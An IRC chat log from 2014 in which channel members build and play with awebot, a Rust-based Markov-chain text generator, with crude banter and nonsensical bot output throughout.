[2014-12-08T02:04:55-0500] <Hyper> kay
[2014-12-08T02:05:07-0500] <awe> What can I feed it for top lulz?
[2014-12-08T02:05:17-0500] <Hyper> awe: make it work with trigraphs now XP
[2014-12-08T02:05:49-0500] <awe> Let's feed it The Koran.
[2014-12-08T02:07:57-0500] <+LittleBobbyTables> What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just
[2014-12-08T02:07:57-0500] <+LittleBobbyTables> another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better
[2014-12-08T02:07:57-0500] <+LittleBobbyTables> prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States
[2014-12-08T02:07:57-0500] <+LittleBobbyTables> Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price,
[2014-12-08T02:07:57-0500] <+LittleBobbyTables> you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo.
[2014-12-08T02:08:20-0500] <awe> When God alone, in 1859 by their houses, nor loss.
[2014-12-08T02:08:24-0500] <awe> LittleBobbyTables: lol
[2014-12-08T02:08:34-0500] <awe> Shall he who plighted fealty to you, O David! verily thy words; And the year after them; and He hath made them believe till the alms previously to two extremes.
[2014-12-08T02:08:46-0500] <awe> Now, let's combine the koran with The Conquest of Bread.
[2014-12-08T02:09:54-0500] <awe> nezorg: ugh, so slow because clones
[2014-12-08T02:10:24-0500] <awe> p.
[2014-12-08T02:10:25-0500] <awe> Wow.
[2014-12-08T02:10:26-0500] <awe> Brilliant.
[2014-12-08T02:10:29-0500] <awe> It generated p.
[2014-12-08T02:11:08-0500] <awe> And from Bradford, and productive powers of a rain upon it.
[2014-12-08T02:11:18-0500] <awe> Gotta turn this into a twitter bot.
[2014-12-08T02:11:22-0500] <awe> Generate phrases until one is < 140 chars
[2014-12-08T02:11:24-0500] <awe> tweet it.
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[2014-12-08T02:52:35-0500] <awe> Hi there.
[2014-12-08T02:52:40-0500] <awe> I'm testing stuff.
[2014-12-08T02:52:44-0500] <awe> Nope.
[2014-12-08T02:53:09-0500] <awe> Okay, test two.
[2014-12-08T02:53:14-0500] <awe> This is better, I think.
[2014-12-08T02:54:32-0500] <awe> Hi there.
[2014-12-08T02:54:34-0500] <awe> I am doing more testing.
[2014-12-08T02:54:37-0500] <awe> I like cats and I like dogs.
[2014-12-08T02:54:44-0500] <awe> @markov
[2014-12-08T02:54:44-0500] <awebot> awe: I am doing more testing.
[2014-12-08T02:54:45-0500] <awe> @markov
[2014-12-08T02:54:45-0500] <awebot> awe: I am doing more testing.
[2014-12-08T02:54:46-0500] <awe> @markov
[2014-12-08T02:54:46-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:47-0500] <awe> @markov
[2014-12-08T02:54:47-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:47-0500] <awe> @markov
[2014-12-08T02:54:47-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:48-0500] <awe> @markov
[2014-12-08T02:54:48-0500] <awebot> awe: I am doing more testing.
[2014-12-08T02:54:49-0500] <awe> @markov
[2014-12-08T02:54:49-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:50-0500] <awe> @markov
[2014-12-08T02:54:50-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:51-0500] <awe> @markov
[2014-12-08T02:54:51-0500] <awebot> awe: Hi there.
[2014-12-08T02:54:53-0500] <awe> Hmm.
[2014-12-08T02:54:54-0500] <awe> @markov
[2014-12-08T02:54:54-0500] <awebot> awe: I am doing more testing.
[2014-12-08T02:55:01-0500] <awe> @markov
[2014-12-08T02:55:01-0500] <awebot> awe: Hi there.
[2014-12-08T02:55:08-0500] <awe> Hi asshole.
[2014-12-08T02:55:09-0500] <awe> @markov
[2014-12-08T02:55:09-0500] <awebot> awe: I like cats and I am doing more testing.
[2014-12-08T02:55:12-0500] <awe> @markov
[2014-12-08T02:55:12-0500] <awebot> awe: Hi there.
[2014-12-08T02:55:14-0500] <awe> @markov
[2014-12-08T02:55:14-0500] <awebot> awe: Hi there.
[2014-12-08T02:55:15-0500] <awe> @markov
[2014-12-08T02:55:15-0500] <awebot> awe: Hmm.
[2014-12-08T02:55:16-0500] <awe> @markov
[2014-12-08T02:55:16-0500] <awebot> awe: Hi there.
[2014-12-08T02:55:16-0500] <awe> @markov
[2014-12-08T02:55:16-0500] <awebot> awe: I am doing more testing.
[2014-12-08T02:55:21-0500] <awe> Okay, cool.
[2014-12-08T02:55:28-0500] <awe> And now, we wait.
[2014-12-08T02:55:47-0500] <awe> Guys, please don't spam the command.
[2014-12-08T02:55:51-0500] <awe> I know you'll be tempted to do so.
[2014-12-08T02:55:59-0500] <awe> Please don't though.
[2014-12-08T03:23:03-0500] <awe> @markov
[2014-12-08T03:23:03-0500] <awebot> awe: There is a data in finite-state systems form of behaviors by visiting the.
[2014-12-08T03:42:26-0500] <awe> Finding this out just because.
[2014-12-08T03:42:32-0500] <awe> irc library is 3134 lines.
[2014-12-08T03:43:51-0500] <awe> irc + dnd is 6344 lines.
[2014-12-08T03:44:55-0500] <awe> irc + dnd + irc-services is 9268 lines.
[2014-12-08T03:45:23-0500] <awe> irc + dnd + irc-services + awebot is 9339 lines.
[2014-12-08T03:46:35-0500] <awe> irc + dnd + irc-services + awebot + awebot-plugins is 10208 lines.
[2014-12-08T03:46:59-0500] <awe> I have written 10,000 lines of IRC-related code in Rust.
[2014-12-08T03:47:00-0500] <awe> Wow.
[2014-12-08T03:56:47-0500] <awe> Guys.
[2014-12-08T03:56:50-0500] <awe> He's self-aware.
[2014-12-08T03:56:51-0500] <awe> [03:56:40]  <awebot>	awe: An open-source product of bad behaviors detected by a Rust projects.
[2014-12-08T03:56:53-0500] <awe> He figured out what he is!
[2014-12-08T03:57:13-0500] <awe> @markov
[2014-12-08T03:57:13-0500] <awebot> awe: Markov chain of independent of documentation, giving useful hints about Haskell's type annotations in time, Emscripten and expressiveness of types is the world's largest financial institutions as ones that Rust projects.
[2014-12-08T03:57:16-0500] <awe> Good night, awebot.
[2014-12-08T03:57:19-0500] <awe> Good night, everyone.
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[2014-12-08T10:22:18-0500] <+LittleBobbyTables> http://www.overclock.net/t/479464/intel-is-ripping-us-off
[2014-12-08T10:45:02-0500] <nezorg> @markov
[2014-12-08T10:45:02-0500] <awebot> nezorg: Store is a system that sort of programming.
[2014-12-08T10:45:21-0500] <nezorg> @markov
[2014-12-08T10:45:21-0500] <awebot> nezorg: It is mutated in a switch statement falls through the lambda we assume all.
[2014-12-08T10:45:35-0500] <nezorg> yeah this'll get old soon
[2014-12-08T10:45:51-0500] <+LittleBobbyTables> Don't spam it then :P
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[2014-12-08T13:30:28-0500] <awe> nezorg: do you think it'd be faster to serialize or deserialize a Chain from a json file than it would be to do all the loading into a hashmap and stuff?
[2014-12-08T13:31:08-0500] <awe> I feel like probably.
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[2014-12-08T13:36:44-0500] <+alokpathy> JacobEdelman: Pay attention in class gosh
[2014-12-08T13:37:33-0500] <JacobEdelman> study hall
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[2014-12-08T15:22:14-0500] <nezorg> awe: what do you mean by loading into a hashmap and stuff?
[2014-12-08T15:22:25-0500] <awe> nezorg: the feeding.
[2014-12-08T15:22:48-0500] <awe> https://github.com/aaronweiss74/markov/blob/master/src/lib.rs#L89
[2014-12-08T15:23:00-0500] <awe> I got rid of all the Clone requirement with Rc. :)
[2014-12-08T15:23:11-0500] <nezorg> you mean serializing the weights vs refeeding it each time?
[2014-12-08T15:23:15-0500] <awe> Yeah.
[2014-12-08T15:23:42-0500] <awe> I imagine it's probably noticeably faster to serialize/deserialize.
[2014-12-08T15:23:47-0500] <nezorg> yeah, I bet just the weights'd be faster
[2014-12-08T15:24:01-0500] <awe> Okay, I'll add that as a feature then.
[2014-12-08T15:24:11-0500] <nezorg> how does hashmap serialize to json?
[2014-12-08T15:24:13-0500] <nezorg> or does it
[2014-12-08T15:24:24-0500] <awe> Assuming the stuff in it is serializable, very easily.
[2014-12-08T15:24:28-0500] <awe> It turns into something like
[2014-12-08T15:24:40-0500] <nezorg> array of tuples?
[2014-12-08T15:24:47-0500] <awe> "map": { "key" : "value", "other_key" : "other_value" }
[2014-12-08T15:25:25-0500] <nezorg> but what if it's not HashMap<String, V> ?
[2014-12-08T15:25:34-0500] <awe> Depends on the serializing rule for the key.
[2014-12-08T15:25:35-0500] <nezorg> i.e. the key is serializable but not a string
[2014-12-08T15:25:44-0500] <awe> Then it does so according to the rule for serializing the key.
[2014-12-08T15:25:54-0500] <nezorg> but then it's not a valid object literal
[2014-12-08T15:26:08-0500] <awe>  /shrug
[2014-12-08T15:26:16-0500] <awe> I didn't write it, and I honestly haven't tried.
[2014-12-08T15:26:23-0500] <awe> I've only serialized HashMap<String, String> before.
[2014-12-08T15:39:11-0500] <JacobEdelman> gots my new wifi
[2014-12-08T15:39:13-0500] <JacobEdelman> its fast
[2014-12-08T15:39:15-0500] <JacobEdelman> I happy
[2014-12-08T15:39:50-0500] <awe> Cool.
[2014-12-08T15:39:57-0500] <awe> @markov
[2014-12-08T15:40:11-0500] <awe> Aww.
[2014-12-08T15:40:13-0500] <awe> awebot died.
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[2014-12-08T15:40:19-0500] <awe> @markov
[2014-12-08T15:40:19-0500] <awebot> awe: As a logo.
[2014-12-08T15:40:21-0500] <awe> @markov
[2014-12-08T15:40:21-0500] <awebot> awe: The probabilities of the k-th power and physics that drive today’s computing—such as calculation engines like most programs are beyond the compiler.
[2014-12-08T15:40:23-0500] <awe> JacobEdelman: ^
[2014-12-08T15:40:32-0500] <awe> JacobEdelman: I got myself a markov chain text generator.
[2014-12-08T15:40:35-0500] <JacobEdelman> what is it using as input?
[2014-12-08T15:40:38-0500] <awe> Uhh...
[2014-12-08T15:40:40-0500] <awe> a lot of things.
[2014-12-08T15:40:48-0500] <awe> nezorg and I have logs of me feeding it.
[2014-12-08T15:40:49-0500] <JacobEdelman> hmmm... not just this irc :P?
[2014-12-08T15:40:53-0500] <awe> It's this IRC.
[2014-12-08T15:40:59-0500] <JacobEdelman> that all it should use
[2014-12-08T15:41:00-0500] <awe> But in #rust, I started posting a ton of stuff.
[2014-12-08T15:41:01-0500] <JacobEdelman> as input
[2014-12-08T15:41:06-0500] <JacobEdelman> what, no
[2014-12-08T15:41:09-0500] <JacobEdelman> undo that
[2014-12-08T15:41:11-0500] <JacobEdelman> only use
[2014-12-08T15:41:11-0500] <awe> Fine.
[2014-12-08T15:41:13-0500] <JacobEdelman> #pdgn
[2014-12-08T15:41:16-0500] <JacobEdelman> and throttle
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[2014-12-08T15:41:21-0500] <JacobEdelman> the rate that it gets input
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[2014-12-08T15:41:33-0500] <awe> Why would I throttle the rate that it gets input?
[2014-12-08T15:41:39-0500] <awe> That doesn't make sense.
[2014-12-08T15:41:45-0500] <JacobEdelman> so that way
[2014-12-08T15:41:50-0500] <JacobEdelman> if I post a huge amount of data
[2014-12-08T15:41:54-0500] <JacobEdelman> it will only accept
[2014-12-08T15:41:57-0500] <JacobEdelman> the first bits
[2014-12-08T15:41:58-0500] <JacobEdelman> aka
[2014-12-08T15:42:01-0500] <JacobEdelman> it should only take
[2014-12-08T15:42:10-0500] <awe> Why do you have to speak in broken up fragments?
[2014-12-08T15:42:13-0500] <JacobEdelman> the first 25 lines of chat each minute
[2014-12-08T15:42:21-0500] <JacobEdelman> or 100 lines
[2014-12-08T15:42:24-0500] <JacobEdelman> it would be enough
[2014-12-08T15:42:29-0500] <JacobEdelman> that if I was just speaking normally
[2014-12-08T15:42:33-0500] <JacobEdelman> it would have no prob
[2014-12-08T15:42:36-0500] <awe> I'm not rate limiting it.
[2014-12-08T15:42:36-0500] <JacobEdelman> and if I started spamming
[2014-12-08T15:42:41-0500] <JacobEdelman> it would ignore met
[2014-12-08T15:42:44-0500] <awe> I don't care.
[2014-12-08T15:42:44-0500] <JacobEdelman> *me
[2014-12-08T15:42:47-0500] <JacobEdelman> okay
[2014-12-08T15:43:04-0500] <awe> I doubt anyone's going to spam, and if they do, my bot isn't really my concern.
[2014-12-08T16:00:46-0500] <JacobEdelman> awe: (lambda s,p:__import__("random").choice(map(lambda x:x[1+x.index(p)],filter(lambda x: p in x,map(lambda x:["\x00"]+x.split(" ")+["\x01"],s.split("\n"))))))
[2014-12-08T16:00:51-0500] <JacobEdelman> thats a python program
[2014-12-08T16:01:07-0500] <JacobEdelman> takes input of a string of newline seperate sentences
[2014-12-08T16:01:11-0500] <JacobEdelman> and one word
[2014-12-08T16:01:11-0500] <+The_Master> @choose 1 or 2
[2014-12-08T16:01:11-0500] <awebot> The_Master: 1
[2014-12-08T16:01:13-0500] <+The_Master> @choose 1 or 2
[2014-12-08T16:01:13-0500] <awebot> The_Master: 1
[2014-12-08T16:01:13-0500] <+The_Master> @choose 1 or 2
[2014-12-08T16:01:13-0500] <awebot> The_Master: 2
[2014-12-08T16:01:13-0500] <+The_Master> @choose 1 or 2
[2014-12-08T16:01:13-0500] <awebot> The_Master: 1
[2014-12-08T16:01:14-0500] <JacobEdelman> finds a random word
[2014-12-08T16:01:19-0500] <JacobEdelman> that can be next
[2014-12-08T16:01:28-0500] <JacobEdelman> hmm... I should make if find a sentence later
[2014-12-08T16:01:34-0500] <awe> JacobEdelman: wat?
[2014-12-08T16:01:40-0500] <+The_Master> @choose @choose 1 or 2 or @choose 4 or 5
[2014-12-08T16:01:40-0500] <awebot> The_Master: 5
[2014-12-08T16:01:41-0500] <+The_Master> @choose @choose 1 or 2 or @choose 4 or 5
[2014-12-08T16:01:41-0500] <awebot> The_Master: @choose 4
[2014-12-08T16:01:44-0500] <JacobEdelman> its a markov chain oneliner
[2014-12-08T16:01:51-0500] <JacobEdelman> (well, it finds one step in the chain)
[2014-12-08T16:02:00-0500] <JacobEdelman> @markov
[2014-12-08T16:02:00-0500] <awebot> JacobEdelman: I doubt anyone's going to speak in broken up fragments?.
[2014-12-08T16:02:05-0500] <JacobEdelman> @markov
[2014-12-08T16:02:05-0500] <awebot> JacobEdelman: okay.
[2014-12-08T16:02:08-0500] <JacobEdelman> ...
[2014-12-08T16:02:11-0500] <JacobEdelman> thats not working
[2014-12-08T16:02:14-0500] <JacobEdelman> @markov
[2014-12-08T16:02:14-0500] <awebot> JacobEdelman: thats a string of a markov chain oneliner.
[2014-12-08T16:02:19-0500] <JacobEdelman> oh wait
[2014-12-08T16:02:20-0500] <JacobEdelman> it is
[2014-12-08T16:02:25-0500] <JacobEdelman> just very little input
[2014-12-08T16:02:27-0500] <JacobEdelman> @markov
[2014-12-08T16:02:27-0500] <awebot> JacobEdelman: its a sentence later.
[2014-12-08T16:02:31-0500] <JacobEdelman> wow
[2014-12-08T16:02:33-0500] <awe> JacobEdelman: okay, but it's not a real markov chain, does not work across all types, and is completely unmaintainable.
[2014-12-08T16:02:34-0500] <JacobEdelman> I've talked so much
[2014-12-08T16:02:37-0500] <JacobEdelman> correct
[2014-12-08T16:02:38-0500] <+The_Master> @markov
[2014-12-08T16:02:38-0500] <awebot> The_Master: it is.
[2014-12-08T16:02:40-0500] <+The_Master> @markov
[2014-12-08T16:02:40-0500] <awebot> The_Master: the first 25 lines of data.
[2014-12-08T16:02:42-0500] <+The_Master> @markov
[2014-12-08T16:02:42-0500] <awebot> The_Master: and if I post a python program.
[2014-12-08T16:02:42-0500] <JacobEdelman> people have talked to me so much
[2014-12-08T16:02:45-0500] <+The_Master> @markov
[2014-12-08T16:02:45-0500] <awebot> The_Master: so that if I throttle the chain).
[2014-12-08T16:02:48-0500] <+The_Master> @markov
[2014-12-08T16:02:48-0500] <awebot> The_Master: so much.
[2014-12-08T16:02:50-0500] <+The_Master> @markov
[2014-12-08T16:02:50-0500] <awebot> The_Master: Why would ignore met.
[2014-12-08T16:02:53-0500] <+The_Master> @markov
[2014-12-08T16:02:53-0500] <awebot> The_Master: finds a markov chain oneliner.
[2014-12-08T16:02:54-0500] <+The_Master> @markov
[2014-12-08T16:02:54-0500] <awebot> The_Master: oh wait.
[2014-12-08T16:02:55-0500] <+The_Master> @markov
[2014-12-08T16:02:55-0500] <awebot> The_Master: I throttle the rate that way.
[2014-12-08T16:02:56-0500] <+The_Master> @markov
[2014-12-08T16:02:56-0500] <awebot> The_Master: and one word.
[2014-12-08T16:02:56-0500] <+The_Master> @markov
[2014-12-08T16:02:56-0500] <awebot> The_Master: thats a real markov chain oneliner.
[2014-12-08T16:02:56-0500] <JacobEdelman> awe: true :)
[2014-12-08T16:02:57-0500] <+The_Master> @markov
[2014-12-08T16:02:57-0500] <awebot> The_Master: (well, it should make sense.
[2014-12-08T16:02:57-0500] <+The_Master> @markov
[2014-12-08T16:02:57-0500] <awebot> The_Master: correct.
[2014-12-08T16:02:57-0500] <+The_Master> @markov
[2014-12-08T16:02:57-0500] <awebot> The_Master: and if I should make if I doubt anyone's going to speak in x,map(lambda x:["\x00"]+x.
[2014-12-08T16:02:58-0500] <+The_Master> @markov
[2014-12-08T16:02:58-0500] <awebot> The_Master: it finds a real markov chain oneliner.
[2014-12-08T16:03:04-0500] <+The_Master> I will stop now
[2014-12-08T16:03:31-0500] <+The_Master> @markov
[2014-12-08T16:03:31-0500] <awebot> The_Master: I've talked so that if I throttle the rate limiting it finds a random word.
[2014-12-08T16:03:43-0500] <JacobEdelman> .... ha
[2014-12-08T16:03:46-0500] <+The_Master> @markov
[2014-12-08T16:03:46-0500] <awebot> The_Master: aka.
[2014-12-08T16:03:48-0500] <+The_Master> @markov
[2014-12-08T16:03:48-0500] <awebot> The_Master: it.
[2014-12-08T16:03:49-0500] <+The_Master> @markov
[2014-12-08T16:03:49-0500] <awebot> The_Master: thats a sentence later.
[2014-12-08T16:03:52-0500] <+The_Master> @markov
[2014-12-08T16:03:52-0500] <awebot> The_Master: people have no prob.
[2014-12-08T16:03:56-0500] <+The_Master> @markov
[2014-12-08T16:03:56-0500] <awebot> The_Master: correct.
[2014-12-08T16:03:57-0500] <awe> .active
[2014-12-08T16:03:57-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-08T16:03:57-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-08T16:03:57-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-08T16:04:03-0500] awe sets mode +o awe
[2014-12-08T16:04:03-0500] <JacobEdelman> this is going to be hysterical
[2014-12-08T16:04:07-0500] awe kicked The_Master from the channel (Goodbye)
[2014-12-08T16:04:07-0500] <JacobEdelman> hmmm...
[2014-12-08T16:04:09-0500] <@awe> Shut the fuck up.
[2014-12-08T16:04:11-0500] <@awe> Jesus christ.
[2014-12-08T16:04:14-0500] The_Master (uid51972@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2014-12-08T16:04:14-0500] Pidgey sets mode +v The_Master
[2014-12-08T16:04:16-0500] <@awe> I said specifically not to do that.
[2014-12-08T16:04:19-0500] <+The_Master> awe: sorry
[2014-12-08T16:04:28-0500] <+The_Master> awe: I did not see that
[2014-12-08T16:04:36-0500] <@awe> [02:55:47]  <awe>	Guys, please don't spam the command.
[2014-12-08T16:04:36-0500] <@awe> [02:55:51]  <awe>	I know you'll be tempted to do so.
[2014-12-08T16:04:36-0500] <@awe> [02:55:59]  <awe>	Please don't though.
[2014-12-08T16:14:41-0500] <@awe> Woo, performance increases.
[2014-12-08T16:14:42-0500] <@awe> By a lot.
[2014-12-08T16:19:47-0500] <@awe> @markov
[2014-12-08T16:19:47-0500] <awebot> awe: the first bits.
[2014-12-08T16:19:56-0500] <@awe> It's significantly more performant now.
[2014-12-08T16:29:03-0500] <@awe> Anyone know if there's a vim plugin to clear whitespace off of black lines?
[2014-12-08T16:29:05-0500] <@awe> blank*
[2014-12-08T16:37:09-0500] <JacobEdelman> my teaching methods are genius
[2014-12-08T16:37:27-0500] <JacobEdelman> I taught my little sister her multplication tables, by holding her upside down until she got the right answer
[2014-12-08T16:37:34-0500] <@awe> That's sadistic.
[2014-12-08T16:37:37-0500] <JacobEdelman> (well, I actually only taught 8*7 that way)
[2014-12-08T16:37:44-0500] <JacobEdelman> it was for like 5 seconds
[2014-12-08T16:37:58-0500] <JacobEdelman> :P
[2014-12-08T16:38:06-0500] <JacobEdelman> (this is actually an old story)
[2014-12-08T16:38:34-0500] <JacobEdelman> (the reason I was reminded of it was she just told me thats why she can never forget that 7*8=56)
[2014-12-08T16:40:05-0500] <JacobEdelman> @markov
[2014-12-08T16:40:05-0500] <awebot> JacobEdelman: I throttle the first bits.
[2014-12-08T16:40:18-0500] <JacobEdelman> yes, yes I do
[2014-12-08T16:40:34-0500] <JacobEdelman> @markov
[2014-12-08T16:40:34-0500] <awebot> JacobEdelman: I don't though.
[2014-12-08T16:40:41-0500] <JacobEdelman> wait, I don't?
[2014-12-08T16:40:45-0500] <JacobEdelman> I'm confused...
[2014-12-08T16:40:51-0500] <JacobEdelman> @markov
[2014-12-08T16:40:51-0500] <awebot> JacobEdelman: if I do that.
[2014-12-08T16:40:56-0500] <JacobEdelman> ...than what?
[2014-12-08T16:40:57-0500] <JacobEdelman> @markov
[2014-12-08T16:40:57-0500] <awebot> JacobEdelman: the rate that can be next.
[2014-12-08T16:41:00-0500] <+The_Master> JacobEdelman: she is still traumatized.
[2014-12-08T16:41:01-0500] <JacobEdelman> would?
[2014-12-08T16:41:02-0500] <JacobEdelman> @markov
[2014-12-08T16:41:02-0500] <awebot> JacobEdelman: people have no prob.
[2014-12-08T16:41:22-0500] <JacobEdelman> ...
[2014-12-08T16:41:24-0500] <JacobEdelman> I'm confused
[2014-12-08T16:41:27-0500] <+The_Master> @markov
[2014-12-08T16:41:27-0500] <awebot> The_Master: I was just told me thats not to oper Hcnsh (Y: 1, N 3).
[2014-12-08T16:41:33-0500] <@awe> Lol.
[2014-12-08T16:41:36-0500] <@awe> Perfect.
[2014-12-08T16:41:40-0500] <JacobEdelman> awebot is a bad convertionalist
[2014-12-08T16:41:47-0500] <+The_Master> @choose @markov or 1
[2014-12-08T16:41:47-0500] <awebot> The_Master: 1
[2014-12-08T16:41:48-0500] <+The_Master> @choose @markov or 1
[2014-12-08T16:41:48-0500] <awebot> The_Master: @markov
[2014-12-08T16:41:49-0500] <JacobEdelman> (one who converts)
[2014-12-08T16:41:59-0500] <+The_Master> @markov
[2014-12-08T16:41:59-0500] <awebot> The_Master: I'm confused.
[2014-12-08T16:42:04-0500] <JacobEdelman> ...
[2014-12-08T16:42:11-0500] <@awe> I'm also confused, awebot.
[2014-12-08T16:42:11-0500] <+The_Master> PERFECT
[2014-12-08T16:42:12-0500] <JacobEdelman> thats gonna be the number one markov thing
[2014-12-08T16:42:15-0500] <+The_Master> PERFECT
[2014-12-08T16:42:18-0500] <+The_Master> @markov
[2014-12-08T16:42:18-0500] <awebot> The_Master: :P.
[2014-12-08T16:42:23-0500] <+The_Master> @markov
[2014-12-08T16:42:23-0500] <awebot> The_Master: that it would I know you'll be enough.
[2014-12-08T16:42:51-0500] <@awe> Okay, so, I want to actually give him all the logs I have.
[2014-12-08T16:43:00-0500] <@awe> I just need to do filtering on it.
[2014-12-08T16:43:19-0500] <@awe> I need to remove all the lines that start with a timestamp followed by three astrisks.
[2014-12-08T16:43:38-0500] <@awe> I also need to remove the timestamp and the speaking user from every line.
[2014-12-08T16:44:13-0500] <JacobEdelman> @markov
[2014-12-08T16:44:13-0500] <awebot> JacobEdelman: people have to clear whitespace off of newline seperate sentences.
[2014-12-08T16:44:19-0500] <JacobEdelman> ...
[2014-12-08T16:44:20-0500] <JacobEdelman> @markov
[2014-12-08T16:44:20-0500] <awebot> JacobEdelman: just speaking user from every line.
[2014-12-08T16:44:22-0500] <+The_Master> @markov
[2014-12-08T16:44:22-0500] <awebot> The_Master: awe: true :).
[2014-12-08T16:44:27-0500] <JacobEdelman> haha
[2014-12-08T16:44:30-0500] <+The_Master> @markov
[2014-12-08T16:44:30-0500] <awebot> The_Master: I actually an old story).
[2014-12-08T16:44:56-0500] <+The_Master> is that ) suppose to be there?
[2014-12-08T16:45:04-0500] <@awe> Somebody used a parenthetical.
[2014-12-08T16:45:14-0500] <@awe> [16:38:06]  <JacobEdelman>	(this is actually an old story)
[2014-12-08T16:45:31-0500] <@awe> I should probably do input sanitization.
[2014-12-08T16:45:45-0500] <JacobEdelman> I use those all the time
[2014-12-08T16:46:06-0500] <+The_Master> awe: so theoretically can I use @markov to damage awebot?
[2014-12-08T16:46:12-0500] <@awe> Damage how?
[2014-12-08T16:46:43-0500] <+The_Master> could they control awebot?
[2014-12-08T16:46:49-0500] <@awe> Control awebot how?
[2014-12-08T16:47:29-0500] <+The_Master> injection
[2014-12-08T16:47:37-0500] <@awe> No, it's memory-safe.
[2014-12-08T16:47:43-0500] <+The_Master> ok
[2014-12-08T16:47:45-0500] <+The_Master> @markov
[2014-12-08T16:47:45-0500] <awebot> The_Master: It's significantly more performant now.
[2014-12-08T16:48:03-0500] <+The_Master> @markov
[2014-12-08T16:48:03-0500] <awebot> The_Master: correct.
[2014-12-08T16:48:08-0500] <+The_Master> @markov
[2014-12-08T16:48:08-0500] <awebot> The_Master: Proposal (4) to remove all the command.
[2014-12-08T16:48:18-0500] <@awe> There are no memory-related exploits that could effect awebot.
[2014-12-08T16:48:25-0500] <+The_Master> awebot:good proposal.
[2014-12-08T16:48:31-0500] <@awe> Well, unless someone wrote a terrible C plugin for awebot, and loaded it up.
[2014-12-08T16:48:34-0500] <+The_Master> .active
[2014-12-08T16:48:34-0500] <&Pidgey> Proposal (4) to deop nezorg (Y: 4, N 1).
[2014-12-08T16:48:34-0500] <&Pidgey> Proposal (3) to deop awe (Y: 3, N 3).
[2014-12-08T16:48:34-0500] <&Pidgey> Proposal (0) to oper Hcnsh (Y: 1, N 4).
[2014-12-08T16:48:35-0500] <@awe> I only use Rust plugins though.
[2014-12-08T16:49:06-0500] <+The_Master> @markov
[2014-12-08T16:49:06-0500] <awebot> The_Master: index(p)],filter(lambda x: p in broken up.
[2014-12-08T16:49:19-0500] <nezorg> awe: unless rust has bugs, of course
[2014-12-08T16:49:26-0500] <JacobEdelman> yeah
[2014-12-08T16:49:27-0500] <@awe> Right.
[2014-12-08T16:49:35-0500] <JacobEdelman> I found an OBO error in irc
[2014-12-08T16:49:37-0500] <JacobEdelman> :P
[2014-12-08T16:49:43-0500] <JacobEdelman> if you type one more than 99
[2014-12-08T16:49:48-0500] <JacobEdelman> it comes out as 100
[2014-12-08T16:49:50-0500] <JacobEdelman> see 10
[2014-12-08T16:49:52-0500] <JacobEdelman> *100
[2014-12-08T16:49:55-0500] <JacobEdelman> I typed 100
[2014-12-08T16:49:58-0500] <JacobEdelman> but it came out 100
[2014-12-08T16:50:05-0500] <@awe> However, it's a lot less likely that a large, peer-reviewed project is going to have bugs than it is that my small IRC bot is.
[2014-12-08T16:50:09-0500] <JacobEdelman> and as everybody knows 100-100=0
[2014-12-08T16:50:11-0500] <@awe> Well, bugs of that sort.
[2014-12-08T16:50:11-0500] <JacobEdelman> *1
[2014-12-08T16:50:30-0500] <@awe> It's in the best interest of all Rust users to ensure that bugs that impact memory safety especially don't happen.
[2014-12-08T16:50:40-0500] <@awe> JacobEdelman: For the record, most of the material that I fed awebot before was marketing material for functional programming languages.
[2014-12-08T16:50:49-0500] <@awe> JacobEdelman: Also, stuff from my type systems textbook.
[2014-12-08T16:51:05-0500] <nezorg> awe: there have been a non-negligible number of safety bugs in rust lately
[2014-12-08T16:51:07-0500] <@awe> I fed him stuff about Rust, F#, and Haskell.
[2014-12-08T16:51:17-0500] <nezorg> @markov
[2014-12-08T16:51:17-0500] <awebot> nezorg: if find a vim plugin for like 5 seconds.
[2014-12-08T16:51:19-0500] <@awe> nezorg: This is true.
[2014-12-08T16:51:27-0500] <@awe> nezorg: It will be dealt with.
[2014-12-08T16:51:43-0500] <nezorg> @markov
[2014-12-08T16:51:43-0500] <awebot> nezorg: I found an old story).
[2014-12-08T16:51:46-0500] <nezorg> @markove
[2014-12-08T16:51:46-0500] <awebot> nezorg: Well, bugs than 99.
[2014-12-08T16:51:52-0500] <nezorg> @markovasufygsdauyfguyasdfgsduyf
[2014-12-08T16:51:52-0500] <awebot> nezorg: and Haskell.
[2014-12-08T16:51:56-0500] <nezorg> lol
[2014-12-08T16:52:15-0500] <nezorg> @markov
[2014-12-08T16:52:15-0500] <awebot> nezorg: the lines that.
[2014-12-08T16:52:18-0500] <nezorg> @markov
[2014-12-08T16:52:18-0500] <awebot> nezorg: thats a terrible C plugin for awebot, and as everybody knows 100-100=0.
[2014-12-08T16:52:23-0500] <nezorg> XD
[2014-12-08T16:52:42-0500] <nezorg> @markov
[2014-12-08T16:52:42-0500] <awebot> nezorg: just told me thats not see that can never forget that way).
[2014-12-08T16:53:00-0500] <nezorg> @markov
[2014-12-08T16:53:00-0500] <awebot> nezorg: it comes out as 100.
[2014-12-08T16:53:03-0500] <nezorg> @markov
[2014-12-08T16:53:03-0500] <awebot> nezorg: I use Rust plugins though.
[2014-12-08T16:53:05-0500] <nezorg> @markov
[2014-12-08T16:53:05-0500] <awebot> nezorg: I use those all types, and loaded it is true :).
[2014-12-08T16:53:08-0500] <nezorg> @markov
